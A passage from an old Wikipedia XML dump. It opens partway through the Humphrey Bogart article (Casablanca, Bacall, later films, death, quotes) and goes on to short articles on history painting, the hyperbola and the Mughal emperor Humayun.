As America entered [[World War II]], it was turning to a new kind of leading man, less dapper and polished, but tougher and more willing to use violence to make the world safe and to get what he wanted. Bogart's persona was much better suited to the war years than to the [[1930s]]. Bogart played a guy who'd grown up on the streets, a guy who knew how to fire a gun, how to punch a guy on the jaw, and spit out &quot;Tell that to your boss.&quot;

[[Image:Casabl meetrick.jpg|right|framed|In ''[[Casablanca (film)|Casablanca]]'', &quot;Everybody comes to Rick's.&quot;]]

===''Casablanca''===
Bogart got his first real romantic lead in ''Casablanca'', playing Rick Blaine, the nightclub owner. Bogart had learned how to convey pain in his eyes and to show emotion with subtle shadings of his voice. He was still young but looked like a man who had lived hard.

As ''Casablanca'' became an iconic movie, much was made of the fact that its script was still being written as shooting on the movie began.  Less well understood is that the character of Rick Blaine drew powerfully on the persona that Bogart had been cultivating in real life for at least six years.  The soured idealist; the loner; the hard-drinking man exiled from better things in New York&amp;mdash;all of these were crucial parts of Rick Blaine&amp;mdash;and of Bogart.  Bogart played a complex man wary of showing his emotions or ideals, a [[chess]] player who kept even his friends off balance.
In real life, Bogart himself played tournament chess, achieving expert strength, one level below master level. Bogart reportedly asked that Blaine also be portrayed as a chess player.

Bogart was surrounded by a fine international cast, including [[Ingrid Bergman]], [[Claude Rains]], [[Peter Lorre]], [[Sidney Greenstreet]], [[Paul Henreid]] and [[Conrad Veidt]]. [[Dooley Wilson]] played the part of Sam, Rick's confidant and piano player, even though he could not play the piano. The script and [[Max Steiner]]'s musical score have both been praised extensively, as has the cinematography.

The stories that [[Ronald Reagan]] had been offered, but passed on, the role of Rick are just that, stories, resulting from the casual lies pumped out by studio publicity departments in those days to keep fans interested in the activities of a star who was not doing anything newsworthy at the time. [[Warner Bros.]]' publicity department concocted similar tales during the shooting of ''Casablanca'', e.g., that Bogart was learning Swedish so that he could woo Bergman, that were just as spurious.

Off the set, Bergman and Bogart hardly spoke during the filming of ''Casablanca''. She said later, &quot;I kissed him but I never knew him.&quot; Years later, after Ingrid Bergman had taken up with Italian director [[Roberto Rossellini]], and borne him a child, Bogart bawled her out for it. &quot;You used to be a great star,&quot; he said. &quot;What are you now?&quot; &quot;A happy woman,&quot; she replied.

''Casablanca'' won the [[1943 in film|1943]] [[Academy Award for Best Picture]]. Bogart was nominated for the [[Academy Award for Best Actor|Best Actor in a Leading Role]], but lost out to Paul Lukas for his performance in ''[[Watch on the Rhine]]''.

==Bogart and Bacall==
Only Bogart's fourth marriage, to [[Lauren Bacall]] (&quot;Baby&quot;), was a happy one. They met while filming ''[[To Have and Have Not]]'', in which Bogart played a tough, independent fisherman named Steve, who gets pushed to his limit by some unsavory people and then gets his revenge.  They were married on [[May 21]] [[1945]] in [[Mansfield, Ohio]], at [[Malabar Farm State Park|Malabar Farm]], the country home of [[Pulitzer Prize]]-winning author [[Louis Bromfield]], who was a close friend of Bogart's.

Bacall became an overnight sensation with a famous line delivered to Bogart. Leaning against a doorway, her head down and voice low, she told Bogart's character: &quot;You know how to whistle, don't you, Steve? Just put your lips together, and blow.&quot;

Bogart fell in love with Bacall. The movie's director, [[Howard Hawks]], once commented: &quot;When two people are falling in love with each other, they're not tough to get along with, I can tell you that. Bogie was marvelous. I said &quot;You've got to help&quot; and of course after a few days he really began to get interested in the girl. That made him help more.&quot; Hawks also said of Bacall: &quot;She had to keep practicing for six to eight months to keep that low voice. Now, it's perfectly natural. And the funny thing is that Bogie fell in love with the character she played, so she had to keep playing it the rest of her life.&quot;

Bogart had another strong, unspoken friendship with [[Walter Brennan]], who played the harmless drunk Eddie in ''To Have and Have Not''. Hawks recalled: &quot;The fellow who rented their boat said 'What do you take care of him for?' Bogart looked at him and said, 'He thinks he's taking care of me.' And he wasn't very nice the way he said it. Those are the relationships that happen between men.&quot;

[[Image:thebigsleep.jpg|thumb|Bogart and Bacall in The Big Sleep (1946)]]
Bogart and Bacall's relationship is at the heart of the film noir masterpiece ''The Big Sleep''. The plot is complex and has holes in it that even [[Raymond Chandler]], who wrote the novel on which it was based, could not explain. Hawks himself admitted &quot;I never figured out what was going on but I thought [it] had great scenes in it&amp;hellip;After that got by, I said, 'I'm never going to worry about being logical again.'&quot;

Chandler thoroughly admired Bogart's performance: &quot;Bogart can be tough without a gun. Also he has a sense of humor that contains that grating undertone of contempt.&quot;

Bacall allowed Bogart lots of weekend time on his boat. She got seasick on boats and Bogart liked the boat to be an all-male preserve, stating &quot;The trouble with having dames on board is you can't pee over the side.&quot; Bogart would frequently sail to Catalina with friends or set some lobster traps.

Bogart allowed Bacall romantic crushes on [[Adlai Stevenson]] and [[Leonard Bernstein]], knowing she'd married young before ever having much chance to date. But he made it clear he'd leave Bacall if she ever had an affair. She never did. Bacall once wrote of Bogart: &quot;You had to stay awake married to him. Every time I thought I could relax and do everything I wanted, he'd buck. There was no way to predict his reactions, no matter how well I knew him.&quot;

Bogart and Bacall moved into a $160,000 white brick mansion in [[Holmby Hills, Los Angeles, California|Holmby Hills]], an exclusive neighborhood between [[Beverly Hills, California|Beverly Hills]] and [[Bel-Air, Los Angeles, California|Bel-Air]].  Bogart and Bacall had two [[Jaguar (car)|Jaguar]] cars, and three blooded [[Boxer (dog)|Boxer]]  dogs. Bogart said &quot;We moved where all the creeps live.&quot; But he enjoyed some of his neighbors, especially [[Judy Garland]].

When Lauren Bacall learned she was pregnant, she was ecstatic. Bogart came home from a day at the studio, and she met him with the great news. He grew very quiet. He put his arm around her and led her gently into the house. He was quiet during dinner&amp;#8212;and then, after dinner, Bogart and Bacall had the worst fight they ever had. Bogart had finally found a woman he truly loved, and he didn't want to share her. He was scared of losing her affection to a baby.

When Lauren Bacall gave birth to a son, [[Stephen Bogart|Stephen]], Bogart became a father at 49.  He'd had months to absorb the news, had even had his own baby shower. ([[Frank Sinatra]] had brought him baby rattles.) But Bogart still felt awkward about being a father. (&quot;What do you do with a kid?&quot; he asked a friend. &quot;They don't drink.&quot;) In 1952, they had their second child, Leslie (a girl, named after actor [[Leslie Howard]]).

==Bogart parties==

There are many tales from the [[1950s]] about Bogart's behaviour in bars and clubs.

===The panda case===
In [[1950]], Bogart and his friend Bill Seeman arrived at the [[El Morocco]] Club in New York after midnight. Bogart had bought two giant stuffed panda bears for Stephen, and he and Seeman introduced the bears around as their &quot;dates&quot; and demanded a table for four. They propped up the bears in separate chairs, and began doing some heavy drinking.

Two young women at the club saw the pandas. One of them picked up one of the pandas. Bogart got angry and pushed her. After she fell to the floor, her friend picked up the other panda, Bogart said something cruel, and her boyfriend arrived and began throwing plates. After a wild scuffle, Bogart, Seeman and the pandas were thrown out of El Morocco and told never to return.

One of the women sued Bogart for $25,000. He showed up in court and was asked: &quot;Were you drunk?&quot; &quot;Isn't everybody at three in the morning?&quot; he replied. The case was dropped. Later, he mused: &quot;[[Errol Flynn]] and I are the only ones left who do any good old hell-raising.&quot;

===Stories from Romanoff's===

Bogart loved to go to Romanoff's in [[Beverly Hills]]. A valet would take the Jaguar, and a ''maitre d' '' would lead Bogart to his regular booth. Friends would stop by to chat or talk shop: [[David Niven]], [[Judy Garland]], [[Richard Brooks]], [[Marilyn Monroe]], [[Swifty Lazar]], Spencer Tracy. [[Rock Hudson]] was a rising star; when he saw him, Bogart would ask, &quot;What the hell kind of name is 'Rock' Hudson?&quot;

Bogart considered [[Mike Romanoff]] a poseur but nonetheless counted him a close friend. Among other things, Bogart admired him as a chess player and appreciated his tendency to needle people. Mike Romanoff was a man with a cultivated [[Oxford accent]], who insisted that his true name was &quot;Prince Michael Alexandrovitch Dmitri Obolensky Romanoff&quot;, and that he was a blood nephew of the former Russian [[tsar]].

Romanoff would greet Bogart by saying, &quot;Good afternoon, Mr. Bogart. Are you going to be paying your bill today? I thought that might be a pleasant change.&quot; 
Bogart would smile and reply: &quot;Are you going to be putting any alcohol in your drinks today? That might be a pleasant change.&quot; If Bacall was with Bogart, Romanoff might turn to her and say: &quot;I see that you are still dating the same aging actor.&quot;

==Later career==
===''The African Queen''===
[[Image:Bogart stamp.jpg|thumb|Humphrey Bogart on a United States stamp]]

In [[1951 in film|1951]], Bogart starred in the movie ''[[The African Queen]]'', with [[Katharine Hepburn]], again directed by his friend John Huston. It was a difficult shoot, on location in [[Africa]]; one day, the eponymous boat even sank (Lauren Bacall recalled: &quot;The natives had been told to watch it and they did&amp;#8212;they watched it sink&quot;).

John Huston recalled:
:&quot;Bogie didn't particularly care for the Charlie Alnutt role when he started, but I slowly got him into it, showing him by expression and gesture what I thought Alnutt should be like. He first imitated me, then all at once he got under the skin of that wretched, sleazy, absurd, brave little man. He realized he was on to something new and good. He said to me, 'John, don't let me lose it.'&quot;

Hepburn's proper spinster character scolded Bogart's Charlie Alnutt: &quot;Nature, Mr. Alnutt, is what we are put in this world to rise above.&quot; Bogart had a famous put down too: &quot;You crazy, psalm-singing, skinny old maid!&quot;

The role of Charlie Alnutt won Bogart his first [[Academy Award]] for [[Academy Award for Best Actor|Best Actor in a Leading Role]] in [[1952]]. He had vowed to friends that if he won, his speech would break the convention of thanking everyone in sight. He would say instead: &quot;I don't owe anything to anyone! I earned this award by hard work and paying attention to my craft.&quot; But when Bogart won the Academy Award, he thanked John Huston, Katharine Hepburn, the cast and crew of the movie. He had always felt Hollywood people did not like him much, and he was deeply moved to find himself so popular now.

===Final roles===

Also in 1951, Bogart and Bacall co-starred in the syndicated radio drama [[Bold Venture]], for which he was paid a reported $4000 a week.  He played a character very much like Steve in ''To Have and Have Not'', and she played his &quot;ward&quot;.  He called her &quot;Sailor&quot;.  

Bogart relied on his standing with his fellow actors to organize a delegation who went to [[Washington, D.C.]], during the height of [[McCarthyism]], to protest the [[House Unamerican Activities Committee]]'s harassment of Hollywood writers and actors. Bogart was not, however, prepared to deal with the industry pressure to abandon this campaign; within a year he disavowed his activities, retreating to his role as actor and apologizing for speaking out on politics.

''[[The Caine Mutiny]]'' was Bogart's last major movie. He dropped his asking price to get the role of Captain Queeg, then griped with some of his old bitterness about it. (&quot;This never happens to [[Gary Cooper|Cooper]] or [[Cary Grant|Grant]] or [[Clark Gable|Gable]], but always to me. Why does it happen to me?&quot;)

Bogart gave a bravura performance as Captain Queeg. Queeg was in many ways an extension of the character he had played in ''[[The Maltese Falcon]]'', ''Casablanca'', and ''[[The Big Sleep]]''&amp;#8212;the wary loner who trusts no one&amp;#8212;but with none of the warmth or humor that made those characters so appealing. Like his portrayal of Fred C. Dobbs in [[The Treasure of the Sierra Madre]], Bogart played&amp;#8212;but did not overplay&amp;#8212;a paranoid, self-pitying character whose small-mindedness eventually destroyed him.

[[Image:Humphrey Bogart - 1955 - The Left Hand of God.jpg|thumb|171px|Bogart appeared in ''The Left Hand of God'' ([[1955 in film|1955]]) shortly before his death.]]

In [[1955 in film|1955]], he made three movies: ''[[The Desperate Hours]]'', ''The Left Hand of God'', and ''We're No Angels''.  Each movie had a special satisfaction. ''The Desperate Hours'' gave him a third chance to play a hostage drama. During ''The Left Hand of God'', Bogart was able to befriend [[Gene Tierney]], and encourage her to get the psychiatric help he thought she badly needed. In ''We're No Angels'', he got a starring role for [[Joan Bennett]], who'd been out of work for three years after a family scandal.

==Death==

By the late 1950s, Bogart's health was failing. He had always treated his body poorly, and often drank heavily when not working. (Typically contrary, the one night he refused to get drunk was New Year's Eve.) He smoked unfiltered Chesterfields. Once, after signing a long-term deal with Warner Bros., Bogart predicted with glee that his teeth and hair would fall out before the contract ended. That sent a fuming Jack Warner to his lawyers.

Bogart eventually contracted [[cancer]] of the [[esophagus]]. He almost never spoke of it and refused to see a doctor until January of 1956, and by then removal of his [[esophagus]], two [[lymph node]]s and a rib was too little, too late.

Katharine Hepburn and Spencer Tracy came to see him. Bogart was too weak to walk up and down stairs. He tried to joke about it: &quot;Put me in the dumbwaiter and I'll ride down to the first floor in style. Come on&amp;#8212;I'm a little guy&amp;#8212;I'll fit.&quot;

Hepburn has described the last time she and Spencer Tracy saw Bogart: &quot;Spence patted him on the shoulder and said, 'Goodnight, Bogie.' Bogie turned his eyes to Spence very quietly and with a sweet smile covered Spence's hand with his own and said, 'Goodbye, Spence.' Spence's heart stood still. He understood.&quot;

Bogart had just turned 57 and weighed only 80 pounds (36 kg) when he died on [[January 14]], [[1957]] after falling into a coma.  He died in [[Hollywood]].  His funeral was held at All Saints Episcopal Church with musical selections played from Bogart's favorite composers, [[Johann Sebastian Bach]] and [[Claude Debussy]]. Bacall had asked Spencer Tracy to give the eulogy but Tracy was too upset. John Huston gave the eulogy instead, and reminded the gathered mourners that while Bogart's life had ended far too soon, it had been a rich one. Huston said: &quot;He is quite irreplaceable. There will never be another like him.&quot;

Huston also noted of Bogart:
:&quot;Himself, he never took too seriously&amp;#8212;his work most seriously.  He regarded the somewhat gaudy figure of Bogart, the star, with an amused cynicism; Bogart, the actor, he held in deep respect&amp;hellip;In each of the fountains at [[Versailles]] there is a [[Esox|pike]] which keeps all the carp active; otherwise they would grow overfat and die. Bogie took rare delight in performing a similar duty in the fountains of Hollywood. Yet his victims seldom bore him any malice, and when they did, not for long. His shafts were fashioned only to stick into the outer layer of complacency, and not to penetrate through to the regions of the spirit where real injuries are done.&quot;

Katharine Hepburn said:
:&quot;He was one of the biggest guys I ever met. He walked straight down the center of the road. No maybes. Yes or no. He liked to drink. He drank. He liked to sail a boat. He sailed a boat. He was an actor. He was happy and proud to be an actor. He'd say to me, 'Are you comfortable?  Everything okay?' He was looking out for me.&quot;

His cremated remains are interred in [[Forest Lawn Memorial Park (Glendale)|Forest Lawn Memorial Park Cemetery]], [[Glendale, California]]. Buried with him is a small gold whistle, which he had given to his future wife, Lauren Bacall, before they married.  In reference to their first movie together, it was inscribed: &quot;If you want anything, just whistle.&quot;

Humphrey Bogart's hand and foot prints are immortalized in the forecourt of [[Grauman's Chinese Theater]] and he has a star on the [[Hollywood Walk of Fame]] at 6322 Hollywood Boulevard in [[Hollywood, California|Hollywood]].

After his death, the &quot;Bogie Cult&quot; formed at the [[Brattle Theatre]] which contributed to his spike in popularity in the late 50's and 60's.

== Quotes ==
=== Attributed ===
{{wikiquote}}
* &quot;I can't say I ever loved my mother, I admired her.&quot;
* &quot;My parents fought. We kids would pull the covers over our ears to keep out the sound of fighting. Our home was kept together for the sake of the children as well as for the sake of propriety.&quot;
*&quot;I don't approve of the [[John Wayne]]s and the [[Gary Cooper]]s saying 'Shucks, I ain't no actor&amp;#8212;I'm just a bridge builder or a gas station attendant.' If they aren't actors, what the hell are they getting paid for? I have respect for my profession. I worked hard at it.&quot;
*His last words were, &quot;I never should have switched from scotch to martinis.&quot;
=== Famous movie quotes ===
==== Casablanca ====
* &quot;I stick my neck out for nobody.&quot;
* &quot;There are certain sections of New York, Major, that I wouldn't advise you to try to invade.&quot; ''[to Major Strasser]''
* &quot;Of all the gin joints in all the towns in all the world, she walks into mine.&quot; 
* &quot;You played it for her, you can play it for me! . . . If she can stand it, I can! Play it!&quot; 
* &quot;Here's looking at you, kid.&quot;
* &quot;Tell me, who was it you left me for? Was it Laszlo, or were there others in between? Or — aren't you the kind that tells?&quot;
* &quot;Don't you sometimes wonder if it's worth all this? I mean what you're fighting for.&quot;
* &quot;If that plane leaves the ground and you're not with him, you'll regret it. Maybe not today, maybe not tomorrow, but soon &amp;mdash; and for the rest of your life.&quot;
* &quot;I'm no good at being noble, but it doesn't take much to see that the problems of three little people don't amount to a hill of beans in this crazy world. Someday you'll understand that.&quot;
* &quot;Louis, I think this is the beginning of a beautiful friendship.&quot;
* &quot;We'll always have Paris.&quot;
== Films ==
For a list of all Bogart's films see ''[[Humphrey Bogart filmography]]''.

== See also==
[[Bogart-Bacall Syndrome]]

==References==
*''Halliwell's Film, Video and DVD Guide'' (2004), Lesley Halliwell, HarperCollins Entertainment, ISBN 0007190816
*''&quot;Time Out&quot; Film Guide'' (2004), John Pym (ed), Time Out Group Ltd, ISBN 1904978215

==Further reading==
*''The Secret Life of Humphrey Bogart: The Early Years (1899-1931)'' (2003), Darwin Porter, Georgia Literary Association, ISBN 0966803051
*''Bogart: A Life in Hollywood'' (1997), Jeffrey Meyers, Andre Deutsch Ltd, ISBN 0233991441

==External links==
{{commons|Humphrey Bogart}}
* {{imdb name|id=0000007|name=Humphrey Bogart}}
* [http://fan.obsidian-rhapsody.com/bogie The TFL-approved Humphrey Bogart fanlisting]
* [http://www.twoop.com/people/archives/2005/10/humphrey_bogart.html Humphrey Bogart] - A Timeline
* [http://www.thegoldenyears.org/bogart.html Classic Movies (1939 - 1969): Humphrey Bogart]
* [http://www.promikatur.de/tv-und_film-stars/humphrey_bogart_karikatur.html caricature of Humphrey Bogart]
*{{ibdb name|id=32377|name=Humphrey Bogart}}


 &lt;!-- The African Queen --&gt;
 &lt;!-- Casablanca (movie), The Caine Mutiny --&gt;

[[Category:1899 births|Bogart, Humphrey]]
[[Category:1957 deaths|Bogart, Humphrey]]
[[Category:American film actors|Bogart, Humphrey]]
[[Category:American stage actors|Bogart, Humphrey]]
[[Category:Best Actor Oscar Nominee|Bogart, Humphrey]]
[[Category:Best Actor Oscar|Bogart, Humphrey]]
[[Category:Burials at Forest Lawn Memorial Park Cemetery|Bogart, Humphrey]]
[[Category:Dutch Americans|Bogart, Humphrey]]
[[Category:English Americans|Bogart, Humphrey]]
[[Category:Entertainers who died in their 50s|Bogart, Humphrey]]
[[Category:Episcopalians|Bogart, Humphrey]]
[[Category:Hollywood Walk of Fame|Bogart, Humphrey]]
[[Category:People from New York City|Bogart, Humphrey]]
[[Category: Phillips Academy alumni|Bogart, Humphrey]]
{{featured article}}

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  <page>
    <title>Homicidal government</title>
    <id>14047</id>
    <revision>
      <id>15911625</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Democide]]
</text>
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  <page>
    <title>History painting</title>
    <id>14051</id>
    <revision>
      <id>36653226</id>
      <timestamp>2006-01-25T15:52:22Z</timestamp>
      <contributor>
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      <text xml:space="preserve">[[Image:LastdayofPompeii.jpg|thumb|300px|''[[The Last Day of Pompeii]]'' (1833) is a quintessential history painting.]]
'''History painting''', as formulated in [[1667]] by [[André Félibien]], a historiographer, architect and theoretician of French [[classicism]], was in the [[hierarchy of genres]] considered to be the ''grand genre''. 

History paintings included paintings with [[religion|religious]], [[mythology|mythological]], [[history|historical]], [[literature|literary]], or [[allegory|allegorical]] subjects--they embodied some interpretation of life or conveyed a moral or intellectual message. 

The gods and goddesses from the ancient mythologies represented different aspects of the human [[psyche]], figures from religions represented different [[idea|ideas]], and history, like the other sources, represented a dialectic or play of ideas. For a long time, especially during the [[French Revolution]], history painting often focused on depiction of the heroic male nude; though this waned into the [[19th century]].

In the mid-nineteenth-century there arose a style known as [[historicism]], which marked a formal imitation of historical styles and/or artists.

:''See also'': [[Hierarchy of genres]]
[[de:Historienmalerei]]

[[Category:Painting]]
[[Category:Art history]]
[[Category:Art genres]]
[[Category:History artists| History painting]]</text>
    </revision>
  </page>
  <page>
    <title>Hyperbola</title>
    <id>14052</id>
    <revision>
      <id>38153318</id>
      <timestamp>2006-02-04T15:28:59Z</timestamp>
      <contributor>
        <username>Deror avi</username>
        <id>152386</id>
      </contributor>
      <comment>interwiki</comment>
      <text xml:space="preserve">:''For hyperbole, the figure of speech, see [[hyperbole]].''

[[Image:hyperbola.png|frame|A graph of a hyperbola, where h = k = 0 and a = b = 2.]]

In [[mathematics]], a '''hyperbola''' is a type of [[conic section]] ([[Greek language|Greek]] {{polytonic|ὑπερβολή}} literally 'overshooting' or 'excess') defined as the intersection between a right circular [[conical surface]] and a [[plane (mathematics)|plane]] which cuts through both halves of the cone.

It may also be defined as the [[set]] of all [[point (geometry)|points]] for which the difference in the [[distance]] to two fixed points (called the [[focus (geometry)|foci]]) is constant.

For a simple geometric proof that the two characterizations above are equivalent to each other, see [[Dandelin spheres]].

Algebraically, a hyperbola is a curve in the [[Cartesian plane]] defined by 
an equation of the form
:&lt;math&gt;A x^2 + B xy + C y^2 + D x + E y + F = 0&lt;/math&gt;
such that &lt;math&gt;B^2 &gt; 4 AC&lt;/math&gt;, where all of the coefficients are real, and where more than one solution, defining a pair of points (x, y) on the hyperbola, exists.

==Definitions==
*It can also be defined as the [[locus (mathematics)|locus]] of points for which the [[ratio]] of the distances to one focus and to a [[line (mathematics)|line]] (called the directrix) is a [[constant]] larger than 1. This constant is the [[eccentricity (mathematics)|eccentricity]] of the hyperbola. These foci lie on the [[transverse axis]] and their midpoint is called the center.

A hyperbola comprises two disconnected [[curves]] called its '''arms''' which separate the foci. 
At large distances from the foci the hyperbola begins to approximate two lines, known as [[asymptote]]s.

A hyperbola has the property that a [[ray]] originating at one of the foci is [[Reflection (mathematics)|reflected]] in such a way as to appear to have originated at the other focus.

An '''ambigenal hyperbola''' is one of the triple hyperbolas of the second order, having one of its infinite legs falling within an angle formed by the asymptotes, and the other without. {{ref label|1828|1|a}}

[[Image:Drini-conjugatehyperbolas.png|thumb|350px|Conjugate unit rectangular hyperbolas]]A special case of the hyperbola is the '''equilateral''' or '''rectangular hyperbola''', in which the asymptotes intersect at right [[angle]]s. The rectangular hyperbola with the coordinate axes as its asymptotes is given by the equation ''xy=c'', where ''c'' is a constant.

Just as the [[sine]] and [[cosine]] functions give a [[parametric equation]] for the [[ellipse]], so the [[hyperbolic function|hyperbolic sine]] and [[hyperbolic function|hyperbolic cosine]] give a parametric equation for the hyperbola.

If on the hyperbola equation one switches ''x'' and ''y'', the [[conjugate hyperbola]] is obtained. A hyperbola and its conjugate have the same asymptotes.

==Equations==

===Cartesian===
(center (''h'', ''k'') )
:&lt;math&gt;\frac{\left( x-h \right)^2}{a^2} - \frac{\left( y-k \right)^2}{b^2} = 1&lt;/math&gt;
:&lt;math&gt;\frac{\left( y-k \right)^2}{a^2} - \frac{\left( x-h \right)^2}{b^2} = 1&lt;/math&gt;
In both formulas a is called the [[semi-major axis]]; it is half the distance between the two branches; b is called the [[semi-minor axis]]. Note that b can be larger than a!  The reason for this is because the values of a and b do not dictate which way the hyperbola opens.  It is the order in which y and x are subtracted.  If y is positive, then the hyperbola opens up and down.  If x is positive, then the hyperbola opens left and right.

The [[eccentricity (mathematics)|eccentricity]] is given by
:&lt;math&gt;e = \sqrt{1+\frac{b^2}{a^2}}&lt;/math&gt;

For rectangular hyperbolas with the coordinate axes parallel to their asymptotes:
:&lt;math&gt;(x-h)(y-k) = c \,&lt;/math&gt;

===Polar===
:&lt;math&gt;r^2 =\ \ \,  a\,\sec 2t&lt;/math&gt;
:&lt;math&gt;r^2 =    -a\,\sec 2t&lt;/math&gt;
:&lt;math&gt;r^2 =\ \ \, a\,\csc 2t&lt;/math&gt;
:&lt;math&gt;r^2 =    -a\,\csc 2t&lt;/math&gt;

===Parametric===
:&lt;math&gt;x = a\,\cosh \theta;\; y = b\,\sinh \theta&lt;/math&gt;
:&lt;math&gt;x = a\,\tan \theta;\ \ y = b\,\sec \theta&lt;/math&gt;

==See also==
*[[Ellipse]]
*[[parabola]]
*[[conic section]]
*[[Dandelin spheres]]
*[[hyperbolic sector]]
*[[hyperbolic angle]]
*[[hyperbolic function]]
*[[hyperbolic trajectory]]
*[[hyperbolic structure]]
*[[Multilateration]]

==References==
#{{note label|1828|1|a}}1828 [[Webster's Dictionary]], public domain.

==External links==
* {{planetmath reference|id=5996|title=Unit hyperbola}}
* {{planetmath reference|id=3584|title=Conic section}}
* {{planetmath reference|id=6241|title=Conjugate hyperbola}}
* [http://mathworld.wolfram.com/Hyperbola.html Mathworld - Hyperbola]

[[Category:Conic sections]]

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[[he:היפרבולה]]
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[[zh:双曲线]]</text>
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  <page>
    <title>Humayun</title>
    <id>14055</id>
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      <id>41356135</id>
      <timestamp>2006-02-26T20:46:11Z</timestamp>
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      <minor />
      <text xml:space="preserve">{| cellpadding=3px cellspacing=0px class=&quot;toccolours&quot; style=&quot;float:right; border:1px #CCCCCC solid; margin:5px&quot;
|+ &lt;big&gt;'''Humayun'''&lt;/big&gt;
|colspan=2 align=center style=&quot;border-top:1px #CCCCCC solid&quot;|[[Image:Humayun.jpg|center]]
|-
|align=left style=&quot;border-top:1px #CCCCCC  solid&quot;|'''Birth name:'''||style=&quot;border-top:1px  #CCCCCC  solid&quot;|Nasiruddin Humayun
|-
|align=left style=&quot;border-top:1px  #CCCCCC  solid&quot;|'''Title:'''||style=&quot;border-top:1px #CCCCCC   solid&quot;|[[Emperor]] of [[Mughal Empire]]&lt;br /&gt;
|-
|align=left style=&quot;border-top:1px  #CCCCCC  solid&quot;|'''Birth:'''||style=&quot;border-top:1px  #CCCCCC  solid&quot;|[[March 6]], [[1508]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC  solid&quot;|'''Place of birth:'''||style=&quot;border-top:1px  #CCCCCC  solid&quot;|[[Kabul]], [[Afghanistan]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC  solid&quot;|'''Death:'''||style=&quot;border-top:1px  #CCCCCC  solid&quot;|[[February 22]], [[1556]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC  solid&quot;|'''Succeeded by:'''||style=&quot;border-top:1px  #CCCCCC  solid&quot;|[[Akbar]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC  solid&quot;|'''Marriage:'''||style=&quot;border-top:1px  #CCCCCC  solid&quot;| [[Hamida Banu Begum]]
|-
|align=left style=&quot;border-top:1px  #CCCCCC  solid&quot;|'''Children:'''||style=&quot;border-top:1px  #CCCCCC  solid&quot;|
[[Akbar]], son&lt;br&gt;
[[Muhammad Hakim]], son&lt;br&gt;
|}'''Nasiruddin Humayun'''  ([[Persian language|Persian]]: '''نسيرالدين همايون''') ([[March 6]], [[1508]] &amp;ndash; [[February 22]], [[1556]]), second [[Mughal Empire|Mughal Emperor]], ruled in [[India]] from [[1530]]&amp;ndash;[[1540]] and [[1555]]&amp;ndash;[[1556]].  He was 22 and inexperienced when he came to power.  Humayun succeeded his father [[Babur]] in India in 1530, while his brother [[Kamran Mirza]] obtained the sovereignty of [[Kabul]] and [[Lahore]].  Humayun was thus left in possession of his father's recent conquests, which were in dispute with the Indian [[Afghan people|Afghans]] under [[Sher Shah]], governor of [[Bengal]] and an ethnic Afghan from Eastern India, and his ally, the [[Lodi dynasty]].  Sher Shah defeated Humayun at [[Battle of Chausa]] on [[June 26]], [[1539]].  After ten years of fighting, Humayun was driven out of India and fled to [[Iran]] (Persia). 

[[Rohtas]] fort was built in 1541-43 by [[Sher Shah Suri]] to crush the [[Gakhars]], who were loyal to [[Humayun]], to whom the fort was finally surrendered by a treacherous commander 10 years after Sher Khan's death. The walls of the [[Rohtas]] Fort measure up to 12,5 meters in thickness and up to 18,28 meters in height. They extend for 4 km and feature 68 semi-circular bastions. Its sandstone gates, both massive and ornate, are thought to have exerted a profound influence on the [[Mughal]] military architecture.  Humayun fled to the refuge of the [[Safavid Empire]] and reluctantly converted to [[Shi'a Islam]] to secure the protection of [[Tahmasp I]].  Sher Shah died in [[1546]], and, although he was one of the greatest rulers of India, his son was not so able a leader.  In [[1555]], Humayan, enlisting the aid of the armies of Tahmasp I, re-occupied Delhi and returned to his throne in India. 

[[Image:Image of the Tomb of Emperor Humayun at Delhi.jpg|thumb|250px|right|''[[Humayun's Tomb]]'' as depicted in a painting at [[Smithsonian Institute]]]]

During his period in exile, Humayun's wife, Hamida Banu Begum, gave birth to [[Akbar the Great]].  Humayun died in 1556 from injuries sustained after falling down a flight of stairs while descending from the second floor of his library to answer the [[muezzin]] call to prayer.  

Although an accomplished soldier, his greatest accomplishment was his support for the arts.  His exposure to Safavid art in Iran inspired him to recruit painters to his court who developed the celebrated Mughal style of painting.  Humayun's greatest architectural feat was his [[Din-Panah]] (Refuge of Religion) [[citadel]] at [[Delhi]] which was destroyed by Sher Shah.  ''[[Humayun's Tomb]]'', built by his widow after his death in the south of Delhi, is a precursor to the Taj Mahal in style and one of the finest of all the Mughal monuments in India.

==References==
*{{1911}}

==External links==

* [http://www.islamicart.com/library/empires/india/humayun.html The Reign of Humayun]
* [http://www.orientalarchitecture.com/delhi/humayunindex.htm Humayun's Tomb]

{{start box}}
{{succession box|title=[[List of Mughal emperors|Mughal Emperor]]|before=[[Babur]]|after=[[Sher Shah]]&lt;br&gt;(Sultan of Delhi)|years=1530&amp;ndash;1539}}
{{succession box|title=Exile|before=[[Sher Shah]]|after=[[Ibrahim Suri]]|years=1540&amp;ndash;1555}}
{{succession box|title=[[List of Mughal emperors|Return as Emperor]]|before=[[Ibrahim Suri]]&lt;br&gt;(Sultan of Delhi)|after=[[Akbar]]|years=1555&amp;ndash;1556}}
{{end box}}



{{noble-stub}}

[[Category:1508 births]]
[[Category:1556 deaths]]
[[Category:Mughal empire]]
[[Category:Timurid Monarchs]]
[[Category:Mughal Emperors]]

[[da:Humayun]]
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[[es:Humayun]]
[[fr:Humâyûn]]
[[nl:Humayun]]
[[ja:フマーユーン]]
[[sv:Humajun]]
[[zh:胡马雍]]</text>
    </revision>
  </page>
  <page>
    <title>Prince-elector</title>
    <id>14056</id>
    <revision>
      <id>42037257</id>
      <timestamp>2006-03-03T10:39:34Z</timestamp>
      <contributor>
        <ip>141.2.247.138</ip>
      </contributor>
      <comment>farsi-version</comment>
